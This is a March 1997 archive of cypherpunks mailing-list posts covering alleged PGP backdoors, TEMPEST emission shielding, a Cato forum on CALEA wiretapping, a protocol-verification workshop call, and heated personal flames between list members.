Content-Type: multipart/signed; boundary="Boundary..3952.1071713687.multipart/signed"

--Boundary..3952.1071713687.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit


In <199703120846.BAA02942@shaman.lycaeum.org>, on 03/12/97 at 02:46 AM,
   TruthMonger <an7575@anon.nymserver.com> said:


>  The relationship between MIT and the NSA and the Military
>isn't very far under the table. 
>  The spooks funded MIT's RSA development, and they are not
>noted for funding projects for the good of the common man.
>To suggest that they would fund a form of cryptography that
>didn't have their own back-door for sounds implausible.

Well the source code is available for PGP & the RSA library. Can you
document where in the code there is a back door for the government?

If you can show what part of the code gives you concerns I am sure everyone
on the list would be eager to listen otherwise this is just more FUD.

--
-----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
-----------------------------------------------------------
 
Tag-O-Matic: OS/2: Windows with bullet-proof glass.


--Boundary..3952.1071713687.multipart/signed
Content-Type: application/octet-stream; name="pgp00001.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00001.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IDIuNi4zaQpD
b21tZW50OiBSZWdpc3RlcmVkIFVzZXIgRS1TZWN1cmUgdjEuMSBFUzAwMDAw
MAoKaVFDVkF3VUFNeVowNVk5Q28xbithTGhoQVFIc21BUC9aMzJ3Y20yVjRX
SyszelZqR0R4cW1nWFM3T2hZWEtJYgo5R2xlRi9uSU4zRlRJRXZza1NuTmN2
WnJ5OGliUTdLRlo3V3c0ZXkwMDdEcnZLVjgzVGVJT3d3L3VxQXVQcGhpCjVk
L2xvMmhuTmI5Y2xKVWxWNWpHUkJGbEoxVnlVb1VHcWtLbUtLRi9YTEQvcmQ0
L2cvbjJ4RUFCaVh2ZkRJL1IKeVh4NWs4aEdkaEE9Cj1xV2N3Ci0tLS0tRU5E
IFBHUCBNRVNTQUdFLS0tLS0=
--Boundary..3952.1071713687.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <an7575@anon.nymserver.com>
Date: Wed, 12 Mar 1997 02:16:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703120323.DAA03881@mailhub.amaranth.com>
Message-ID: <199703121016.DAA05986@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III wrote:

> 

> In <199703120846.BAA02942@shaman.lycaeum.org>, on 03/12/97 at 02:46 AM,

>    TruthMonger <an7575@anon.nymserver.com> said:

> 

> >  The relationship between MIT and the NSA and the Military

> >isn't very far under the table.

> >  The spooks funded MIT's RSA development, and they are not

> >noted for funding projects for the good of the common man.

> >To suggest that they would fund a form of cryptography that

> >didn't have their own back-door for sounds implausible.

> 

> Well the source code is available for PGP & the RSA library. Can you

> document where in the code there is a back door for the government?


  Can you document where it isn't?
 

> If you can show what part of the code gives you concerns I am sure everyone

> on the list would be eager to listen otherwise this is just more FUD.


  I realize that you may be too inexperienced in just how the
real world works to understand the value of mistrusting systems
whose development is bought and paid for by the spooks, but I
wish I had a nickle for every loser in history who went to the
gallows complaining that they'd been lied to and fucked over
when the real problem was that they had their hands over their
ears and thier eyes closed.
  Zimmerman may be a saint or a ratfucker, but either way, he
doesn't have a key to the cell door, so I'd rather count on 
myself to stay on the open-air side of it.

  I would suggest that if you want to look for "FUD" you take
a look at your own trusting faith in spook-produced cryptography.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 12 Mar 1997 04:36:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: REA_lly
Message-ID: <1.5.4.32.19970312122909.0071e268@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


3-12-97:

US claims CIA was not spying on Germany but on
rogue states doing business there. Spy has not been
expelled.

-----

REA_lly





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 12 Mar 1997 08:15:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cato forum on wiretapping and Digital Telephony (3/24/97)
Message-ID: <Pine.GSO.3.95.970312081538.25189G-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Wed, 12 Mar 1997 08:15:15 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Cato forum on wiretapping and Digital Telephony (3/24/97)

[I find that Cato's forums are always worth attending. --Declan]


---------- Forwarded message ----------
Date: Wed, 12 Mar 1997 10:15:21 -0500 (EST)
From: Solveig Bernstein <sberns@cato.org>
To: Declan McCullagh <declan@well.com>
Subject: a cato forum

Declan, could you post this to fightcensorship or otherwise forward it around?

********************************************************************
This forum will be held at noon on March 24 at the Cato Institute at 1000
Mass. Ave. N.W., Washington, DC.  To register, please call Heather Antilla
at 202.842.3490 or email to hantila@cato.org.

********************************************************************


	Wiretapping in the Digital Age:
	Reassessing CALEA


Barry Steinhardt			Alan McDonald
ACLU						FBI


Jim Dempsey				Albert Gidari
Center for Democracy and Technology	Perkins Coie

CALEA, the "Communications Assistance in Law Enforcement Act," requires
phone companies to retrofit their networks to facilitate wiretapping by law
enforcement.  Are laws like CALEA appropriate for our constitutional
republic, or are the economic costs and dangers to privacy too great?
Should Congress have delegated to the FBI so much power to implement CALEA?
Have the FBI's demands under the statute been reasonable?    





Solveig Bernstein, Esq.
(202) 789-5274
(202) 842-3490 (fax)

Assistant Director of Telecommunications & Technology Studies
Cato Institute
1000 Mass. Ave. NW
Washington, DC 20001








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Wed, 12 Mar 1997 06:31:43 -0800 (PST)
To: Pez Dispenser <pez@nym.alias.net>
Subject: Re: Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <19970312121010.1143.qmail@anon.lcs.mit.edu>
Message-ID: <Pine.LNX.3.95.970312092525.141U-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


On 12 Mar 1997, Pez Dispenser wrote:

-> Sergey Goldgaber wrote:
-> > 
-> > Actually, I think anon7575 is a true cypherpunk in spirit, regardless of 
-> > the truth value of what he said.
-> > 
-> > Spreading paranoia is very conducive to security.
-> > 
-> 
-> Think before you write. I suppose paranoia about terrorist threats
-> is in the cypherpunk spirit? Perhaps paranoia about those evil criminals
-> with the big guns coming and hurting us? Gosh, I'm a cypherpunk, I need
-> to be paranoid about these things! Let's give up all our rights so the
-> government can protect us!

Obviously, government intervention is not always the best solution.
However, stepping up security is in the cypherpunk spirit.

And save the patronising tone.


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Mar 1997 08:36:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Ecash Brain Tennis
In-Reply-To: <3.0.1.32.19970311164810.007b6350@flex.com>
Message-ID: <JJmg4D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


>From owner-freedom-knights@kachina.jetcafe.org  Tue Mar 11 21:48:54 1997
Received: by bwalk.dm.com (1.65/waf)
	via UUCP; Wed, 12 Mar 97 08:25:31 EST
	for dlv
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        id AA20396 for dlv@bwalk.dm.com; Tue, 11 Mar 97 21:48:54 -0500
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X-Mailer: Windows Eudora Light Version 3.0.1 (32)
Date: Tue, 11 Mar 1997 16:48:10 -1000
To: freedom-knights@jetcafe.org
From: "Dr. Jai Maharaj" <jai@mantra.com>
Subject: Re: Ecash Brain Tennis
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-freedom-knights@jetcafe.org
Precedence: bulk
Reply-To: freedom-knights@jetcafe.org

dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) posted:
>
> From: John Young <jya@pipeline.com>
> [...]
> Decrypt "tragedy of the commons" as "anarchy" for the cleartext
> alarm being transmitted.

One is reminded of:

"When compared with the suppression of anarchy every other
question sinks into insignificance. The anarchist is the enemy of
humanity, the enemy of all mankind, and his is a deeper degree of
criminality than any other. No immigrant is allowed to come to our
shores if he is an anarchist; and no paper published here or abroad
should be permitted circulation in this country if it propagates
anarchist opinions."
  - President Theodore Roosevelt

Jai Maharaj
jai@mantra.com
Om Shanti






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 12 Mar 1997 11:30:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: [CRYPTO] OTP
Message-ID: <199703121930.LAA06892@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C. May carries a turd in his wallet for identification 
purposes.

    _ _/|
   \'o.0'
   =(___)= Timmy C. May
      U





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Wed, 12 Mar 1997 08:43:30 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: TEMPEST protection
In-Reply-To: <33265C33.15BB@gte.net>
Message-ID: <Pine.BSD/.3.91.970312113344.21996D-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


<sorry for the earlier finger glitch>

On Tue, 11 Mar 1997, Dale Thorn wrote:

> Actually, the computer you type on will be very easy to pick out
> of the noise field with modest spy equipment sitting down the street.
> 
> There's a company (I lost the brochure) who sell EM attenuator
> material, some preconfigured, and presumably some bulk.  It should
> be easy to find on the Web.  Once you get some really dramatic
> attenuation, particularly of the keyboard (and particularly during
> password confirmations, etc.), you should do your own preliminary
> monitoring with some of those band-sweep gadgets.  Steady noise
> of course is nothing compared to the spikes from some of the keyboard
> outputs...
> 
> Once you've identified all (we can hope, can't we) of the problem
> signals still leaking through the shielding (albeit at greatly
> reduced levels), you can direct different kinds of efforts there,
> including random noise from other computers which use the exact
> same output devices.

>From what I've seen, it's a lot easier for "the bad guys" to concentrate 
on monitor emissions - you can read the screen someone's looking at, and 
not just the key-clicks.  Won't get you blanked-out passwords, though.  
Much of the monitor's emissions may be out the back.

Other places to look for emissions: the power supply, and the connection 
points for peripherals.  Make sure you leave adequate ventilation, though 
(another tricky part).

Cynthia

===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pez Dispenser <pez@nym.alias.net>
Date: Wed, 12 Mar 1997 04:10:15 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Re: Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <Pine.LNX.3.95.970311223527.141B-100000@void.el.net>
Message-ID: <19970312121010.1143.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Sergey Goldgaber wrote:
> 
> Actually, I think anon7575 is a true cypherpunk in spirit, regardless of 
> the truth value of what he said.
> 
> Spreading paranoia is very conducive to security.
> 

Think before you write. I suppose paranoia about terrorist threats
is in the cypherpunk spirit? Perhaps paranoia about those evil criminals
with the big guns coming and hurting us? Gosh, I'm a cypherpunk, I need
to be paranoid about these things! Let's give up all our rights so the
government can protect us!

--Pez Dispenser




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Mar 1997 14:10:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Mail Volume??
In-Reply-To: <Pine.BSD/.3.91.970312093203.21862B-100000@mrburns.iosphere.net>
Message-ID: <uTyg4D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Cynthia H. Brown" <cynthb@sonetis.com> writes:
> Perhaps many of the 1400-odd subscribers belonged to unused accounts, or
> accounts on dead systems.  With fewer names to process, this should speed
> up the distribution significantly.

FWIW, onthe few occasions when I e-mailed the 1400 addresses directly, I got
hundreds of bounces from nonexistent addresses.  I guess the 1400 silent
supporters of moderation were another one of John Gilmore's lies.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 12 Mar 1997 14:39:17 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Mail Volume??
In-Reply-To: <uTyg4D1w165w@bwalk.dm.com>
Message-ID: <199703122235.QAA06717@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> 
> "Cynthia H. Brown" <cynthb@sonetis.com> writes:
> > Perhaps many of the 1400-odd subscribers belonged to unused accounts, or
> > accounts on dead systems.  With fewer names to process, this should speed
> > up the distribution significantly.
> 
> FWIW, onthe few occasions when I e-mailed the 1400 addresses directly, I got
> hundreds of bounces from nonexistent addresses.  I guess the 1400 silent
> supporters of moderation were another one of John Gilmore's lies.

I once, as a prank, sent mail to cypherpunks-outgoing-ksiuw@toad.com.
Since cypherpunks-outgoing-ksiuw is a simple sendmail alias, all bounces
went directly to me as my name was listed in the "From " field.

I got about a hundred or so bounces, some of which were results of
intermittent problems like full mailboxes, etc. (the actual number could
be 90% likely between 50 and 150 as I was not really counting).

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 12 Mar 1997 13:49:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: DIMACS Workshop on Cryptographic Protocol Design andVerification, Sept. 3-5, 1997
Message-ID: <v03020943af4cd44ecc0a@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Wed, 12 Mar 1997 14:11:04 -0500
From: ho@earth.hpc.org (Hilarie Orman)
To: ipsec@tis.com
Subject: DIMACS Workshop on Cryptographic Protocol Design and Verification,
Sept. 3-5, 1997
Sender: owner-ipsec@ex.tis.com
Precedence: bulk

Here's a more complete announcement for the workshop.

Hilarie

=============================================================================

DIMACS Workshop on Formal Verification of Security Protocols
Sept. 3-5, 1997
Organizers:  Hilarie Orman, DARPA and Catherine Meadows, Naval Research
Laboratory


As we come to rely more and more upon computer networks to perform vital
functions, the need for cryptographic protocols that can enforce
a variety of security properties has become more and more important.
Thus it is no surprise that in recent years a number of new
protocols have been proposed for such applications as electronic
credit card transactions, Web browsing, and so forth.
Since it is notoriously difficult to design cryptographic protocols
correctly, this increased reliance on them to provide security has
become cause for some concern.  This is especially the case since
many of the new protocols are extremely complex.

In answer to these needs, research has been intensifying in the application
of formal methods to cryptographic protocol verification.  Recently
this work has matured enough so that it is starting to see application
to real-life protocols.  The goal of this workshop is to facilitate
this process by bringing together those were are involved in the design
and standardization of cryptographic protocols, and those who are developing
and using formal methods techniques for the verification of such protocols.
To this end we plan to alternate papers with panels soliciting new
paths for research.  We are particularly interested in paper
and panel proposals addressing new protocols with respect to their
formal and informal analysis.


Other topics of interest include, but are not limited to

- Progress in belief logics
- Use of theorem provers and model checkers in verifying crypto protocols
- Interaction between protocols and cryptographic modes of operation
- Methods for unifying documentation and formal, verifiable specification
- Methods for incorporating formal methods into crypto protocol design
- Verification of cryptographic API systems
- Formal definition of correctness of a cryptographic protocol
- Arithmetic capability required for proofs of security for
     number theoretic systems
- Formal definitions of cryptographic protocol requirements
- Design methodologies
- Emerging needs and new uses for cryptographic protocols
- Multiparty protocols, in particular design and verification methods


We encourage attendees to bring tools for demonstration.  Information
about availability of facilities for demonstration will be posted later.

To submit a paper to the workshop, submit a one or two page abstract,
in Postscript or ASCII to both organizers at the email addresses given below
by June 16, 1997.  Authors will be notified of acceptance or rejection of
abstracts by July 1.  Full papers will be due by August 1.
Copies of papers will be distributed at the workshop.  We also plan
to publish a proceedings.

Participation in the workshop is *not* limited to those giving presentations.

If you would like to attend the workshop, a registration form is available
at  http://dimacs.rutgers.edu/Workshops/Cryptographic/reg_form.html.
Information on accommodations and travel arrangements is available at
http://dimacs.rutgers.edu/Workshops/general/accommodations.html and
http://dimacs.rutgers.edu/Workshops/general/travel.html.
Information on the workshop in general is at
http://dimacs.rutgers.edu/Workshops/Cryptographic.

			Organizers

Hilarie Orman				Catherine Meadows
DARPA ITO				Naval Research Laboratory
3701 N. Fairfax Drive			Code 5543
Arlington VA 22203-1714			Washington, DC 20375
phone: (703)696-2234			phone: (202)-767-3490
email: horman@darpa.mil			email:meadows@itd.nrl.navy.mil



--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Wed, 12 Mar 1997 13:41:05 -0800 (PST)
To: Sergey Goldgaber <sergey@el.net>
Subject: Re: Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <Pine.LNX.3.95.970312092525.141U-100000@void.el.net>
Message-ID: <Pine.LNX.3.95.970312163732.881A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 12 Mar 1997, Sergey Goldgaber wrote:

> On 12 Mar 1997, Pez Dispenser wrote:
> 
> -> Think before you write. I suppose paranoia about terrorist threats
> -> is in the cypherpunk spirit? Perhaps paranoia about those evil criminals
> -> with the big guns coming and hurting us? Gosh, I'm a cypherpunk, I need
> -> to be paranoid about these things! Let's give up all our rights so the
> -> government can protect us!
> 
> Obviously, government intervention is not always the best solution.
> However, stepping up security is in the cypherpunk spirit.

Indeed.  There seems to be a frequent misconception that security == government
intrustion.  Security provides solutions that can be voluntarily accepted or
rejected and which exist to specifically thwart attacks on a system.
Government intrustion provides solutions that benefit government agencies and
not non-LEA types.  Comparing the constant releases of security advisories and
patches to knee-jerk legislation just doesn't work.  As for the point about
"evil criminals with big guns", the libertarian/cypherpunk solution to such a
problem would be to carry a bigger gun and not prohibit the ownership of guns.

> 
> And save the patronising tone.
> 
> 
>  ............................................................................
>  . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
>  ............................................................................
>  .   To him who does not know the world is on fire, I have nothing to say   .
>  .                                                      - Bertholt Brecht   .
>  ............................................................................
> 
> 
> 


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMyckESzIPc7jvyFpAQGz2gf/elp93r/df3wFFzL6lcQKu2TTNANPHaJ1
q10+l+LJ3o3FS0khJ651wZ9VaGPxRw5fWiV4PtJmmeIpNceNuZ99AkOoiRDciP7P
sba27XApMguaeOAU0Blv/d3EuEZHoHsh1q789Ktxgy88UYIWVD7Ihnh/MY7aszaW
Cda4yN0trQ5xVB7/gWHP1zvNQwPMpw4EAAd4GuadOjI1GdcsFGH6p5t48QQtsjDR
hFKIKFlWoyrzoUdIFmfFN3bhW4ynNTL+Zp3bym3x01xI+XH+yvwzH/RHchEbt/K1
X0psWpCEDmKMejiq7iWuEEZV9H2yLjNTg9pPJ3eEeK4w/lAI0g5CeQ==
=fEg9
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 12 Mar 1997 16:29:32 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [CRYPTO] OTP
In-Reply-To: <199703121930.LAA06892@mailmasher.com>
Message-ID: <Pine.A41.3.95.970312172626.71880A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



Vulis time to take your pills.

On Wed, 12 Mar 1997, Huge Cajones Remailer wrote:

> Timmy C. May carries a turd in his wallet for identification 
> purposes.
> 
>     _ _/|
>    \'o.0'
>    =(___)= Timmy C. May
>       U
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Trevor Goodchild <trevorg@dhp.com>
Date: Wed, 12 Mar 1997 15:02:37 -0800 (PST)
To: dlv@bwalk.dm.com>
Subject: Re: Mail Volume
Message-ID: <Pine.LNX.3.95.970312175743.16895A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Vulis KOTM wrote:
 
> "Cynthia H. Brown" <cynthb@sonetis.com> writes:
> > Perhaps many of the 1400-odd subscribers belonged to unused accounts, or 
> > accounts on dead systems.  With fewer names to process, this should speed
> > up the distribution significantly.
> 
> FWIW, onthe few occasions when I e-mailed the 1400 addresses directly, I got
> hundreds of bounces from nonexistent addresses.  I guess the 1400 silent
> supporters of moderation were another one of John Gilmore's lies.
>    
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
>

And on that rare occasion, my dear Doctor, why did you email those 1400
addresses directly?  Perhaps you would like to share that with the rest of
us?



---
 Trevor Goodchild





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <an7575@anon.nymserver.com>
Date: Wed, 12 Mar 1997 19:30:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703120626.XAA27069@shaman.lycaeum.org>
Message-ID: <199703130330.UAA27994@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain



Alan Olsen wrote:> > 
> > At 06:53 AM 3/12/97 CST, Roy M. Silvernail wrote:
> > > an7575@anon.nymserver.com writes:
> >> >>   The use of PGP=>2.5 suddenly became a 'non-issue' for use in the U.S.
> >> because they use both the algorithm and sub-routines developed by the
> >> NSA and the Military.

> >> >If you have an exploit for 2.5+, publish it.  Otherwise, you're just
> >blowing FUD.

> > I always wonder where these people get their information.  I know people who
> know little to nothing about cryptography, but "they know PGP has been
> broken".

  I always wonder why there seem to be so many lame fucks on
the cypherpunks list who, rather than responding to the posts
on the list, seem to be responding to some broken recording
going on in their own head.
  Naturally, these lame fucks never have a direct quote available
to match the words inside their heads that they purport to place
in the mouths of others.

  Why don't 'these people' try actually following a thread and
deal with the concepts involved, rather than spouting off their
auto-bot, knee-jerk responses to the voices of old wars that
they are still fighting inside their heads?

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Wed, 12 Mar 1997 20:13:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: ZDNet Announces New Features!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.19735.03121997200007.166829@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain


----------------------------------------------------------------------
           ZDNET ANNOUNCEMENT          3/13/97
------------------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 12 Mar 1997 21:17:21 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: TEMPEST protection
In-Reply-To: <Pine.BSD/.3.91.970312113344.21996D-100000@mrburns.iosphere.net>
Message-ID: <33278DC0.60D4@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Cynthia H. Brown wrote:
> On Tue, 11 Mar 1997, Dale Thorn wrote:
> > Actually, the computer you type on will be very easy to pick out
> > of the noise field with modest spy equipment sitting down the street.

> Other places to look for emissions: the power supply, and the connection
> points for peripherals.  Make sure you leave adequate ventilation, though
> (another tricky part).

Funny thing was, first time I used PGP I was typing in a passphrase
and apparently PGP was doing something to the keyboard processor
on my laptop, because all of a sudden I thought I'd gotten bat's
ears - I could hear interesting new noises every time I pressed a
key, which I hadn't heard before (at least at an audible volume).

It occurred to me that typing in a PGP passphrase would be a
particularly bad time to increase the emissions....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 12 Mar 1997 19:51:25 -0800 (PST)
To: real@freenet.edmonton.ab.ca (Graham-John Bullers)
Subject: Re: [CRYPTO] OTP
In-Reply-To: <Pine.A41.3.95.970312172626.71880A-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <199703130340.VAA08675@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Graham-John Bullers wrote:
> 
> Vulis time to take your pills.

I am not a native English speaker, and am curious about something.  Mr.
GB does not put a comma after "Vulis", although I think that a standard
English practice is to do so. That makes his messages look kinda cute. I
wonder whether there is any hidden meaning in omitting commas in this
case.

thanks

igor



> On Wed, 12 Mar 1997, Huge Cajones Remailer wrote:
> 
> > Timmy C. May carries a turd in his wallet for identification 
> > purposes.
> > 
> >     _ _/|
> >    \'o.0'
> >    =(___)= Timmy C. May
> >       U
> > 
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Mar 1997 19:12:43 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Roosevelt quote
In-Reply-To: <3.0.1.32.19970312143200.007b6570@flex.com>
Message-ID: <JFHH4D5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Dr. Jai Maharaj" <jai@mantra.com> writes:

> On 97-03-12 18:09:16 EST,
> in message <Pine.SUN.3.91.970312154111.18828B-100000@panix.com>,
> cp@panix.com (Charles Platt) wrote to me:
> >
> > Assuming you are a real person, and assuming it was you who found the
> > quote below from Roosevelt, I would love to know the source of the
> > quote, because it is such a chilling indictment of a widely loved
> > (i.e. misunderstood!) politician. I would like to include the quote
> > in one of my future articles for Wired magazine or Internet > Underground.
> >
> > I'm not entirely sure that your address is genuine because it was
> > quoted in a message from Dimitri Vulis, who is not entirely reliable.
> >
> > --CP
> >
> >> "When compared with the suppression of anarchy every other
> >> question sinks into insignificance. The anarchist is the enemy of
> >> humanity, the enemy of all mankind, and his is a deeper degree of
> >> criminality than any other. No immigrant is allowed to come to our
> >> shores if he is an anarchist; and no paper published here or abroad
> >> should be permitted circulation in this country if it propagates
> >> anarchist opinions."
> >>  - President Theodore Roosevelt
> >>
> >> Jai Maharaj
> >> jai@mantra.com
> >> Om Shanti
>
>    Okay, I will help you in your research this time because even
> though you approach me with baseless suspicion about myself and the
> defamation of Dr. Dimitri Vulis whom I have found to be a very reliable
> source of information, for you do appear to exhibit a genuine
> concern about the quote attributed to Theodore Roosevelt.
>    I believe that I read the quote most recently on a page at
> a site called "Anarchy for Anybody".  The page has the address:
>    http://pubweb.acns.nwu.edu:80/~dtn307/species.html
>    I will be interested in reading what you decide to write on the subject,
> and am mildly curious about what sort of articles have already been
> published by one who begins a project with not much more than personal
> prejudice.

You can find a lot of Charles Platt's drivel on alt.torture, where he
airs his perverse sexual fantasies. He's also earned a reputation of
a crook on sci.cryonics.

Be warned that Platt is a pathological liar and a racist.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 12 Mar 1997 23:00:34 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: [CRYPTO] OTP
In-Reply-To: <199703130340.VAA08675@manifold.algebra.com>
Message-ID: <3327A11F.16D4@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Graham-John Bullers wrote:
> > Vulis time to take your pills.

> I am not a native English speaker, and am curious about something.  Mr.
> GB does not put a comma after "Vulis", although I think that a standard
> English practice is to do so. That makes his messages look kinda cute. I
> wonder whether there is any hidden meaning in omitting commas in this case.

It was obvious to me (a native speaker) early on that the messages
from GB referring to Dr. Vulis were auto-generated.  It's fairly
easy for a human to type in the exact same response over and over
(doing so manually), but to vary the hand-typed messages, while main-
taining the complete lack of emotion and sense of robotic blandness,
would require a great deal of attention that these messages would
not justify.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 12 Mar 1997 21:39:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Toto Opportunity
Message-ID: <332792DE.7737@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Hello CYPHERPUNK,
  Let me share with you how you can get in on a THRILLING, NEW
GROUND-BREAKING OPPORTUNITY to "MAKE BIG $$$", while helping to
dispel the rumors of me, TOTO, being murdered and replaced by a 
'Bot', in a conspiracy between MicroSoft and C2Net.

  Sure, CPUNK, there are countless other MLM opportunities abounding
on the InterNet, but how many of them allow you to MAKE BIG $$$ while
having fun doing what you already do every day--acting as a schill
for Big Business and Big Brother?
  Plus which, only this UNIQUE MARKETING OPPORTUNITY allows you to
participate in helping to quash those nasty rumors about collusion
between people who seek fame, fortune, power and control.

  Sure, there will always be those who will be cynical about me, TOTO,
seeing the light and recognizing that there is no conspiracy aimed at
subverting the rights and freedoms of the citizens in order to enrich
